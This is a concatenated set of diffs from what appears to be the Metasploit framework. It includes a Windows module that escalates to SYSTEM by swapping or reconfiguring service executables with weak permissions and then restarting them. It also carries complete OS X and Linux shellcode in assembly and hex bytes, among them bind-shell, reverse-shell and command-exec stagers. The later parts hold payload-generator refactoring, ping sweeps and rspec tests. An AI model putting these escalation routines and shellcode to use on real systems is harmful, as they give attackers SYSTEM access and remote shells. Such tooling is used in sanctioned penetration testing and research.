service_list.each do |serv|
begin
srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
if srvtype != "16"
continue
end
moved = false
configed = false
#default path, but there should be an ImagePath registry key
source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe")
#get path to exe; parse out quotes and arguments
sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
sourcemaybe = session.fs.file.expand_path(sourceorig)
if( sourcemaybe[0] == '"' )
sourcemaybe = sourcemaybe.split('"')[1]
else
sourcemaybe = sourcemaybe.split(' ')[0]
end
begin
session.fs.file.stat(sourcemaybe) #check if it really exists
source = sourcemaybe
rescue
print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
end
#try to exploit weak file permissions
if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
session.railgun.kernel32.CopyFileA(tempexe, source, false)
print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.")
moved = true
end
#try to exploit weak config permissions
#open with SERVICE_CHANGE_CONFIG (0x0002)
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
if(servhandleret["return"] != 0)
#SERVICE_NO_CHANGE is 0xFFFFFFFF
if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
configed = true
end
adv.CloseServiceHandle(servhandleret["return"])
end
if(moved != true && configed != true)
print_status("No exploitable weak permissions found on #{serv}")
continue
end
print_status("Restarting #{serv}")
#open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
if(servhandleret["return"] != 0)
#SERVICE_CONTROL_STOP = 0x00000001
if(adv.ControlService(servhandleret["return"],1,56))
session.railgun.kernel32.Sleep(1000)
adv.StartServiceA(servhandleret["return"],0,nil)
print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
#Cleanup
if moved == true
session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
end
if configed == true
servhandleret = adv.OpenServiceA(manag["return"],serv,2)
adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,
0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
adv.CloseServiceHandle(servhandleret["return"])
end
else
print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.")
end
adv.CloseServiceHandle(servhandleret["return"])
if datastore['AGGRESSIVE'] != true
return
end
else
print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
end
rescue
end
end
end
end

View File

@ -38,50 +38,50 @@ module Metasploit3
'CPORT' => [ 32, 'n' ],
},
'Assembly' => <<EOS
xor rdi,rdi
xor rbx,rbx
mov bl,0x14
sub rsp,rbx
lea rdx,[rsp]
lea rsi,[rsp+4]
find_port:
push 0x34 ; getpeername
pop rax
syscall
inc rdi
cmp word [rsi+2],0x4142
jne find_port
dec rdi
push 2
pop rsi
dup2:
push 0x21 ; dup2
pop rax
syscall
dec rsi
jns dup2
mov rbx,rsi
mov ebx, 0x68732f41
mov eax,0x6e69622f
shr rbx,8
shl rbx,32
or rax,rbx
push rax
mov rdi,rsp
xor rsi,rsi
mov rdx,rsi
push 0x3b ; execve
pop rax
syscall
EOS
'Assembly' => %Q|
xor rdi,rdi
xor rbx,rbx
mov bl,0x14
sub rsp,rbx
lea rdx,[rsp]
lea rsi,[rsp+4]
find_port:
push 0x34 ; getpeername
pop rax
syscall
inc rdi
cmp word [rsi+2],0x4142
jne find_port
dec rdi
push 2
pop rsi
dup2:
push 0x21 ; dup2
pop rax
syscall
dec rsi
jns dup2
mov rbx,rsi
mov ebx, 0x68732f41
mov eax,0x6e69622f
shr rbx,8
shl rbx,32
or rax,rbx
push rax
mov rdi,rsp
xor rsi,rsi
mov rdx,rsi
push 0x3b ; execve
pop rax
syscall
|
}
))
end
def size
return 91
end
def size
return 91
end
end

View File

@ -38,10 +38,10 @@ module Metasploit3
payload =
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call +
"/usr/bin/say\x00" +
call +
"/usr/bin/say\x00" +
say +
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x4C\x8D\x57\x0D" + # lea r10,[rdi+0xd]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx

View File

@ -44,41 +44,41 @@ module Metasploit3
cmd = (datastore['CMD'] || '') << "\x00"
call = "\xe8" + [cmd.length].pack('V')
payload =
"\x48\x31\xFF" + # xor rdi,rdi
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x04" + # push byte +0x4
"\x5A" + # pop rdx
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xC9" + # xor r9,r9
"\x48\xFF\xCF" + # dec rdi
"\x48\xFF\xC7" + # inc rdi
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
datastore['TAG'] +
"\x75\xED" + # jnz 0x17
"\x48\x31\xC9" + # xor rcx,rcx
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call +
cmd +
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
payload =
"\x48\x31\xFF" + # xor rdi,rdi
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x04" + # push byte +0x4
"\x5A" + # pop rdx
"\x48\x8D\x4A\xFE" + # lea rcx,[rdx-0x2]
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xC9" + # xor r9,r9
"\x48\xFF\xCF" + # dec rdi
"\x48\xFF\xC7" + # inc rdi
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x81\x3C\x24" + # cmp dword [rsp],0x4e454d4f
datastore['TAG'] +
"\x75\xED" + # jnz 0x17
"\x48\x31\xC9" + # xor rcx,rcx
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\x31\xF6" + # xor rsi,rsi
"\x0F\x05" + # loadall286
"\xB8\x5A\x00\x00\x02" + # mov eax,0x200005a
"\x48\xFF\xC6" + # inc rsi
"\x0F\x05" + # loadall286
"\x48\x31\xC0" + # xor rax,rax
"\xB8\x3B\x00\x00\x02" + # mov eax,0x200003b
call +
cmd +
"\x48\x8B\x3C\x24" + # mov rdi,[rsp]
"\x48\x31\xD2" + # xor rdx,rdx
"\x52" + # push rdx
"\x57" + # push rdi
"\x48\x89\xE6" + # mov rsi,rsp
"\x0F\x05" # loadall286
end
end

View File

@ -24,6 +24,7 @@ require 'msf/core'
module Metasploit3
include Msf::Payload::Single
include Msf::Payload::Osx
def initialize(info = {})
super(merge_info(info,
@ -45,7 +46,7 @@ module Metasploit3
#
# Dynamically builds the exec payload based on the user's options.
#
def generate
def generate_stage
cmd = datastore['CMD'] || ''
len = cmd.length + 1
payload =

View File

@ -27,67 +27,67 @@ module Metasploit3
{
'Offsets' => { 'LPORT' => [ 31, 'n'] },
'Payload' =>
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
"\x6A\x02" + # push byte +0x2
"\x5F" + # pop rdi
"\x6A\x01" + # push byte +0x1
"\x5E" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push byte +0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
"\x48\x31\xF6" + # xor rsi,rsi
"\x48\xFF\xC6" + # inc rsi
"\x49\x89\xFC" + # mov r12,rdi
"\x0F\x05" + # loadall286
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
"\x4C\x89\xE7" + # mov rdi,r12
"\x48\x89\xE6" + # mov rsi,rsp
"\x48\x89\xE2" + # mov rdx,rsp
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
"\x0F\x05" + # loadall286
"\x49\x89\xC5" + # mov r13,rax
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x48\x31\xC9" + # xor rcx,rcx
"\x51" + # push rcx
"\x48\x89\xE6" + # mov rsi,rsp
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xD2" + # xor r10,r10
"\x0F\x05" + # loadall286
"\x41\x5B" + # pop r11
"\x4C\x89\xDE" + # mov rsi,r11
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
"\x48\x31\xFF" + # xor rdi,rdi
"\x48\xFF\xCF" + # dec rdi
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
"\x49\x89\xF8" + # mov r8,rdi
"\x4D\x31\xC9" + # xor r9,r9
"\x0F\x05" + # loadall286
"\x48\x89\xC6" + # mov rsi,rax
"\x56" + # push rsi
"\x4C\x89\xEF" + # mov rdi,r13
"\x48\x31\xC9" + # xor rcx,rcx
"\x4C\x89\xDA" + # mov rdx,r11
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xD2" + # xor r10,r10
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x58" + # pop rax
"\xFF\xD0" # call rax
"\xB8\x61\x00\x00\x02" + # mov eax,0x2000061
"\x6A\x02" + # push byte +0x2
"\x5F" + # pop rdi
"\x6A\x01" + # push byte +0x1
"\x5E" + # pop rsi
"\x48\x31\xD2" + # xor rdx,rdx
"\x0F\x05" + # loadall286
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x68\x00\x00\x02" + # mov eax,0x2000068
"\x48\x31\xF6" + # xor rsi,rsi
"\x56" + # push rsi
"\xBE\x00\x02\x15\xB3" + # mov esi,0xb3150200
"\x56" + # push rsi
"\x48\x89\xE6" + # mov rsi,rsp
"\x6A\x10" + # push byte +0x10
"\x5A" + # pop rdx
"\x0F\x05" + # loadall286
"\xB8\x6A\x00\x00\x02" + # mov eax,0x200006a
"\x48\x31\xF6" + # xor rsi,rsi
"\x48\xFF\xC6" + # inc rsi
"\x49\x89\xFC" + # mov r12,rdi
"\x0F\x05" + # loadall286
"\xB8\x1E\x00\x00\x02" + # mov eax,0x200001e
"\x4C\x89\xE7" + # mov rdi,r12
"\x48\x89\xE6" + # mov rsi,rsp
"\x48\x89\xE2" + # mov rdx,rsp
"\x48\x83\xEA\x04" + # sub rdx,byte +0x4
"\x0F\x05" + # loadall286
"\x49\x89\xC5" + # mov r13,rax
"\x48\x89\xC7" + # mov rdi,rax
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x48\x31\xC9" + # xor rcx,rcx
"\x51" + # push rcx
"\x48\x89\xE6" + # mov rsi,rsp
"\xBA\x04\x00\x00\x00" + # mov edx,0x4
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xD2" + # xor r10,r10
"\x0F\x05" + # loadall286
"\x41\x5B" + # pop r11
"\x4C\x89\xDE" + # mov rsi,r11
"\x81\xE6\x00\xF0\xFF\xFF" + # and esi,0xfffff000
"\x81\xC6\x00\x10\x00\x00" + # add esi,0x1000
"\xB8\xC5\x00\x00\x02" + # mov eax,0x20000c5
"\x48\x31\xFF" + # xor rdi,rdi
"\x48\xFF\xCF" + # dec rdi
"\xBA\x07\x00\x00\x00" + # mov edx,0x7
"\x41\xBA\x02\x10\x00\x00" + # mov r10d,0x1002
"\x49\x89\xF8" + # mov r8,rdi
"\x4D\x31\xC9" + # xor r9,r9
"\x0F\x05" + # loadall286
"\x48\x89\xC6" + # mov rsi,rax
"\x56" + # push rsi
"\x4C\x89\xEF" + # mov rdi,r13
"\x48\x31\xC9" + # xor rcx,rcx
"\x4C\x89\xDA" + # mov rdx,r11
"\x4D\x31\xC0" + # xor r8,r8
"\x4D\x31\xD2" + # xor r10,r10
"\xB8\x1D\x00\x00\x02" + # mov eax,0x200001d
"\x0F\x05" + # loadall286
"\x58" + # pop rax
"\xFF\xD0" # call rax
}
))
end

View File

@ -31,19 +31,19 @@ module Metasploit3
'LPORT' => [ 35, 'n']
},
'Payload' =>
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
"\xb8\x61\x00\x00\x02\x6a\x02\x5f\x6a\x01\x5e\x48" +
"\x31\xd2\x0f\x05\x49\x89\xc5\x48\x89\xc7\xb8\x62" +
"\x00\x00\x02\x48\x31\xf6\x56\x48\xbe\x00\x02\x15" +
"\xb3\x7f\x00\x00\x01\x56\x48\x89\xe6\x6a\x10\x5a" +
"\x0f\x05\x4c\x89\xef\xb8\x1d\x00\x00\x02\x48\x31" +
"\xc9\x51\x48\x89\xe6\xba\x04\x00\x00\x00\x4d\x31" +
"\xc0\x4d\x31\xd2\x0f\x05\x41\x5b\x4c\x89\xde\x81" +
"\xe6\x00\xf0\xff\xff\x81\xc6\x00\x10\x00\x00\xb8" +
"\xc5\x00\x00\x02\x48\x31\xff\x48\xff\xcf\xba\x07" +
"\x00\x00\x00\x41\xba\x02\x10\x00\x00\x49\x89\xf8" +
"\x4d\x31\xc9\x0f\x05\x48\x89\xc6\x56\x4c\x89\xef" +
"\x48\x31\xc9\x4c\x89\xda\x4d\x31\xc0\x4d\x31\xd2" +
"\xb8\x1d\x00\x00\x02\x0f\x05\x58\xff\xd0"
}
))
end

View File

@ -26,11 +26,11 @@ module Metasploit3
'Stage' =>
{
'Payload' =>
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
"\x52\x57\x48\x89\xe6\x0f\x05"
"\xb8\x5a\x00\x00\x02\x48\x31\xf6\x0f\x05\xb8\x5a"+
"\x00\x00\x02\x48\xff\xc6\x0f\x05\x48\x31\xc0\xb8"+
"\x3b\x00\x00\x02\xe8\x08\x00\x00\x00\x2f\x62\x69"+
"\x6e\x2f\x73\x68\x00\x48\x8b\x3c\x24\x48\x31\xd2"+
"\x52\x57\x48\x89\xe6\x0f\x05"
}
))
end

View File

@ -11,8 +11,9 @@
require 'msf/core'
require 'rex'
require 'msf/core/post/file'
require 'msf/core/post/common'
require 'msf/core/post/file'
require 'msf/core/post/unix'
class Metasploit3 < Msf::Post

View File

@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post
print_status("Performing ping sweep for IP range #{iprange}")
iplst = []
begin
a = []
ipadd = Rex::Socket::RangeWalker.new(iprange)
numip = ipadd.num_ips
while (iplst.length < numip)
@ -81,13 +80,14 @@ class Metasploit3 < Msf::Post
ip_found = []
while(not iplst.nil? and not iplst.empty?)
a = []
1.upto(thread_num) do
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_add|
next if ip_add.nil?
if platform =~ /solaris/i
r = cmd_exec(cmd, "-n #{ip_add} 1")
r = cmd_exec(cmd, "-n #{ip_add} 1")
else
r = cmd_exec(cmd, count + ip_add)
r = cmd_exec(cmd, count + ip_add)
end
if r =~ /(TTL|Alive)/i
print_status "\t#{ip_add} host found"
@ -97,8 +97,8 @@ class Metasploit3 < Msf::Post
end
end
a.map {|x| x.join }
end
a.map {|x| x.join }
end
rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError
rescue ::Exception => e

View File

@ -46,6 +46,12 @@ class Metasploit3 < Msf::Post
end
def run
print_error("*********************************************************")
print_error("* *")
print_error("* Module will be depricated on Jan 10 2013 *")
print_error("* Please use exploits/windows/local/service_permissions *")
print_error("* *")
print_error("*********************************************************")
print_status("running")
lhost = datastore["LHOST"] || Rex::Socket.source_address

View File

@ -64,6 +64,7 @@ class Metasploit3 < Msf::Post
end
while(not iplst.nil? and not iplst.empty?)
a = []
1.upto(threads) do
a << framework.threads.spawn("Module(#{self.refname})", false, iplst.shift) do |ip_text|
next if ip_text.nil?
@ -79,8 +80,8 @@ class Metasploit3 < Msf::Post
report_note(:host => ip_text, :type => "mac_oui", :data => company)
end
end
a.map {|x| x.join }
end
a.map {|x| x.join }
end
return found
end

View File

@ -181,18 +181,18 @@ class Metasploit3 < Msf::Post
found_key = false
basekey_set = ["HKLM\\SOFTWARE\\Oracle\\SYSMAN","HKLM\\SOFTWARE\\ORACLE\\KEY_XE"]
basekey_set.each do |basekey|
next if found_key
next if found_key
instances = registry_enumkeys(basekey)
if instances.nil? or instances.empty?
next
else
found_key = true
end
instances.each do |i|
if basekey.include?"KEY_XE"
val_ORACLE_SID = registry_getvaldata(basekey,"ORACLE_SID")
val_ORACLE_HOME = registry_getvaldata(basekey,"ORACLE_HOME")
val_ORACLE_HOME = registry_getvaldata(basekey,"ORACLE_HOME")
else
key = "#{basekey}\\#{i}"
val_ORACLE_SID = registry_getvaldata(key,"ORACLE_SID")

View File

@ -312,7 +312,8 @@ opts[:badchars] = Rex::Text.hex_to_raw(opts[:badchars]) if opts[:
# set the defaults unless something is already set by the user
if opts[:payload] != 'stdin'
opts[:arch] ||= payload.arch[0]
opts[:platform] ||= Msf::Module::PlatformList.transform(payload.platform.platforms)
# If it's not stdin, we'll already have a PlatfromList
opts[:platform] ||= payload.platform
else
# defaults for stdin payloads users should define them
unless opts[:arch]
@ -325,6 +326,8 @@ else
end
end
# After this point, we will have set a platform, even if it's wrong.
opts[:format] ||= 'ruby'
opts[:encoder] ||= nil
opts[:encode] ||= !(opts[:badchars].nil? or opts[:badchars].empty?)
@ -351,7 +354,7 @@ exeopts = { :inject => opts[:inject], :template_path => path, :template => altex
# If we were given addshellcode for a win32 payload,
# create a double-payload; one running in one thread, one running in the other
if opts[:addshellcode] and opts[:platform].include?(Msf::Module::Platform::Windows) and opts[:arch] == 'x86'
if opts[:addshellcode] and opts[:platform].platforms.include?(Msf::Module::Platform::Windows) and opts[:arch] == 'x86'
payload_raw = Msf::Util::EXE.win32_rwx_exec_thread(payload_raw,0,'end')
file = ::File.new(opts[:addshellcode])
file.binmode
@ -450,52 +453,46 @@ when /java/i
print_error("Could not generate payload format")
end
when /elf/i
if (not opts[:platform] or (opts[:platform].index(Msf::Module::Platform::Linux)))
if opts[:arch] =~ /x64/
elf = Msf::Util::EXE.to_linux_x64_elf($framework, payload_raw, exeopts)
elsif opts[:arch] =~ /x86/
elf = Msf::Util::EXE.to_linux_x86_elf($framework, payload_raw, exeopts)
elsif opts[:arch] =~ /arm/
elf = Msf::Util::EXE.to_linux_armle_elf($framework, payload_raw, exeopts)
else
print_error("This format does not support that architecture")
exit
end
if (opts[:platform].index(Msf::Module::Platform::Linux))
elf = case opts[:arch]
when /x64/; Msf::Util::EXE.to_linux_x64_elf($framework, payload_raw, exeopts)
when /x86/; Msf::Util::EXE.to_linux_x86_elf($framework, payload_raw, exeopts)
when /arm/; Msf::Util::EXE.to_linux_armle_elf($framework, payload_raw, exeopts)
end
elsif(opts[:platform].index(Msf::Module::Platform::BSD))
if opts[:arch] =~ /x86/
elf = Msf::Util::EXE.to_bsd_x86_elf($framework, payload_raw, exeopts)
else
print_error("This format does not support that architecture")
exit
end
elf = case opts[:arch]
when /x86/; Msf::Util::EXE.to_bsd_x86_elf($framework, payload_raw, exeopts)
end
elsif(opts[:platform].index(Msf::Module::Platform::Solaris))
if opts[:arch] =~ /x86/
elf = Msf::Util::EXE.to_solaris_x86_elf($framework, payload_raw, exeopts)
else
print_error("This format does not support that architecture")
exit
end
elf = case opts[:arch]
when /x86/; Msf::Util::EXE.to_solaris_x86_elf($framework, payload_raw, exeopts)
end
end
if elf.nil?
print_error("This format does not support that architecture")
exit
end
$stdout.write elf
when /macho/i
if opts[:arch] =~ /x64/
bin = Msf::Util::EXE.to_osx_x64_macho($framework, payload_raw, exeopts)
elsif opts[:arch] =~ /x86/
bin = Msf::Util::EXE.to_osx_x86_macho($framework, payload_raw, exeopts)
elsif opts[:arch] =~ /arm/
bin = Msf::Util::EXE.to_osx_arm_macho($framework, payload_raw, exeopts)
elsif opts[:arch] =~ /ppc/
bin = Msf::Util::EXE.to_osx_ppc_macho($framework, payload_raw, exeopts)
else
bin = case opts[:arch]
when /x64/; Msf::Util::EXE.to_osx_x64_macho($framework, payload_raw, exeopts)
when /x86/; Msf::Util::EXE.to_osx_x86_macho($framework, payload_raw, exeopts)
when /arm/; Msf::Util::EXE.to_osx_arm_macho($framework, payload_raw, exeopts)
when /ppc/; Msf::Util::EXE.to_osx_ppc_macho($framework, payload_raw, exeopts)
end
if bin.nil?
print_error("This format does not support that architecture")
exit
end
$stdout.write bin
when /dll/i
if opts[:arch] == "x86"
dll = Msf::Util::EXE.to_win32pe_dll($framework, payload_raw)
elsif opts[:arch] == "x86_64"
dll = Msf::Util::EXE.to_win64pe_dll($framework, payload_raw)
dll = case opts[:arch]
when /x86/; Msf::Util::EXE.to_win32pe_dll($framework, payload_raw)
when /x64|x86_64/; Msf::Util::EXE.to_win64pe_dll($framework, payload_raw)
end
if dll.nil?
print_error("This format does not support that architecture")
exit
end
$stdout.write dll

View File

@ -0,0 +1,97 @@
require 'msf/core/task_manager'
describe Msf::TaskManager do
let(:framework) do
Msf::Framework.new
end
let(:tm) do
Msf::TaskManager.new(framework)
end
it "should have attributes" do
tm.should respond_to("processing")
tm.should respond_to("queue")
tm.should respond_to("thread")
tm.should respond_to("framework")
tm.should respond_to("processing=")
tm.should respond_to("queue=")
tm.should respond_to("thread=")
tm.should respond_to("framework=")
end
it "should initialize with an empty queue" do
tm.queue.length.should == 0
tm.backlog.should == 0
tm.backlog.should == tm.queue.length
end
it "should add items to the queue and process them" do
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
t = Msf::TaskManager::Task.new(Proc.new { })
tm.queue_task(t)
tm.backlog.should == 2
tm.start
t.wait
tm.backlog.should == 0
end
it "should add items to the queue and flush them" do
tm.queue_proc(Proc.new{ })
tm.backlog.should == 1
tm.queue_proc(Proc.new{ })
tm.backlog.should == 2
tm.flush
tm.backlog.should == 0
end
it "should start and stop" do
t = Msf::TaskManager::Task.new(Proc.new { })
tm.queue_task(t)
tm.backlog.should == 1
tm.start
t.wait
tm.backlog.should == 0
tm.stop
1.upto 100 do |cnt|
tm.queue_proc(Proc.new{ })
tm.backlog.should == cnt
end
t = Msf::TaskManager::Task.new(Proc.new { })
tm.queue_task(t)
tm.start
t.wait
tm.backlog.should == 0
end
it "should handle task timeouts" do
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
t.timeout = 0.1
tm.start
tm.queue_task(t)
t.wait
t.status.should == :timeout
t.duration.should <= 1.0
end
it "should handle task exceptions" do
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
tm.start
tm.queue_task(t)
t.wait
t.status.should == :dropped
t.exception.class.should == ::NoMethodError
t = Msf::TaskManager::Task.new(Proc.new { return 12345 })
tm.queue_task(t)
t.wait
t.status.should == :dropped
t.exception.should be_a ::LocalJumpError
end
end

102
spec/msf/util/exe_spec.rb Normal file
View File

@ -0,0 +1,102 @@
require 'msf/core'
require 'msf/base/simple'
describe Msf::Util::EXE do
subject do
described_class
end
$framework = Msf::Simple::Framework.create(
:module_types => [ Msf::MODULE_NOP ],
'DisableDatabase' => true
)
context '.to_executable_fmt' do
it "should output nil when given a bogus format" do
bin = subject.to_executable_fmt($framework, "", "", "", "does not exist", {})
bin.should == nil
end
platform_format_map = {
"windows" => [
{ :format => "dll", :arch => "x86", :file_fp => /PE32 .*DLL/ },
{ :format => "dll", :arch => "x64", :file_fp => /PE32\+.*DLL/ },
{ :format => "exe", :arch => "x86", :file_fp => /PE32 / },
{ :format => "exe", :arch => "x64", :file_fp => /PE32\+/ },
{ :format => "exe-small", :arch => "x86", :file_fp => /PE32 / },
# No template for 64-bit exe-small. That's fine, we probably
# don't need one.
#{ :format => "exe-small", :arch => "x64", :file_fp => /PE32\+/ },
],
"linux" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*SYSV/ },
{ :format => "elf", :arch => "x64", :file_fp => /ELF 64.*SYSV/ },
{ :format => "elf", :arch => "armle",:file_fp => /ELF 32.*ARM/, :pending => true },
],
"bsd" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32.*BSD/ },
],
"solaris" => [
{ :format => "elf", :arch => "x86", :file_fp => /ELF 32/ },
],
"osx" => [
{ :format => "macho", :arch => "x86", :file_fp => /Mach-O.*i386/ },
{ :format => "macho", :arch => "x64", :file_fp => /Mach-O 64/ },
{ :format => "macho", :arch => "armle", :file_fp => /Mach-O.*acorn/, :pending => true },
{ :format => "macho", :arch => "ppc", :file_fp => /Mach-O.*ppc/, :pending => true },
]
}
platform_format_map.each do |plat, formats|
context "with platform=#{plat}" do
let(:platform) do
Msf::Module::PlatformList.transform(plat)
end
it "should output nil when given bogus format" do
bin = subject.to_executable_fmt($framework, formats.first[:arch], platform, "\xcc", "asdf", {})
bin.should == nil
end
it "should output nil when given bogus arch" do
bin = subject.to_executable_fmt($framework, "asdf", platform, "\xcc", formats.first[:format], {})
bin.should == nil
end
formats.each do |format_hash|
fmt = format_hash[:format]
arch = format_hash[:arch]
if format_hash[:pending]
pending "returns an executable when given arch=#{arch}, fmt=#{fmt}"
next
end
it "returns an executable when given arch=#{arch}, fmt=#{fmt}" do
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", fmt, {})
bin.should be_a String
f = IO.popen("file -","w+")
f.write(bin)
f.close_write
fp = f.read
f.close
fp.should =~ format_hash[:file_fp] if format_hash[:file_fp]
end
it "returns nil when given bogus format for arch=#{arch}" do
bin = subject.to_executable_fmt($framework, arch, platform, "\xcc", "asdf", {})
bin.should == nil
end
end
end
end
end
end

View File

@ -1,8 +1,5 @@
require 'testbase'
require 'rexml/document'
require 'rex/parser/nmap_xml'
require 'spec'
xml = '
<?xml version="1.0" ?>
@ -46,9 +43,9 @@ describe Rex::Parser::NmapXMLStreamParser do
host["addrs"]["ipv4"].should == "192.168.0.1"
end
}
REXML::Document.parse_stream(StringIO.new(xml), parser)
it "should have found exactly one host" do
total_hosts.should == 1
end
REXML::Document.parse_stream(StringIO.new(xml), parser)
end

View File

@ -0,0 +1,104 @@
require 'rex/socket/range_walker'
describe Rex::Socket::RangeWalker do
it "should have a num_ips attribute" do
walker = Rex::Socket::RangeWalker.new("")
walker.should respond_to("num_ips")
walker.should respond_to("length")
walker.num_ips.should == walker.length
end
it "should handle single ipv6 addresses" do
walker = Rex::Socket::RangeWalker.new("::1")
walker.should be_valid
walker.length.should == 1
end
it "should handle ranges" do
walker = Rex::Socket::RangeWalker.new("10.1.1.1-2")
walker.should be_valid
walker.length.should == 2
walker.next_ip.should == "10.1.1.1"
walker = Rex::Socket::RangeWalker.new("10.1-2.1.1-2")
walker.should be_valid
walker.length.should == 4
walker = Rex::Socket::RangeWalker.new("10.1-2.3-4.5-6")
walker.should be_valid
walker.length.should == 8
walker.should include("10.1.3.5")
end
it "should default the lower bound of a range to 0" do
walker = Rex::Socket::RangeWalker.new("10.1.3.-17")
walker.should be_valid
walker.length.should == 18
walker = Rex::Socket::RangeWalker.new("10.1.3.-255")
walker.should be_valid
walker.length.should == 256
end
it "should default the upper bound of a range to 255" do
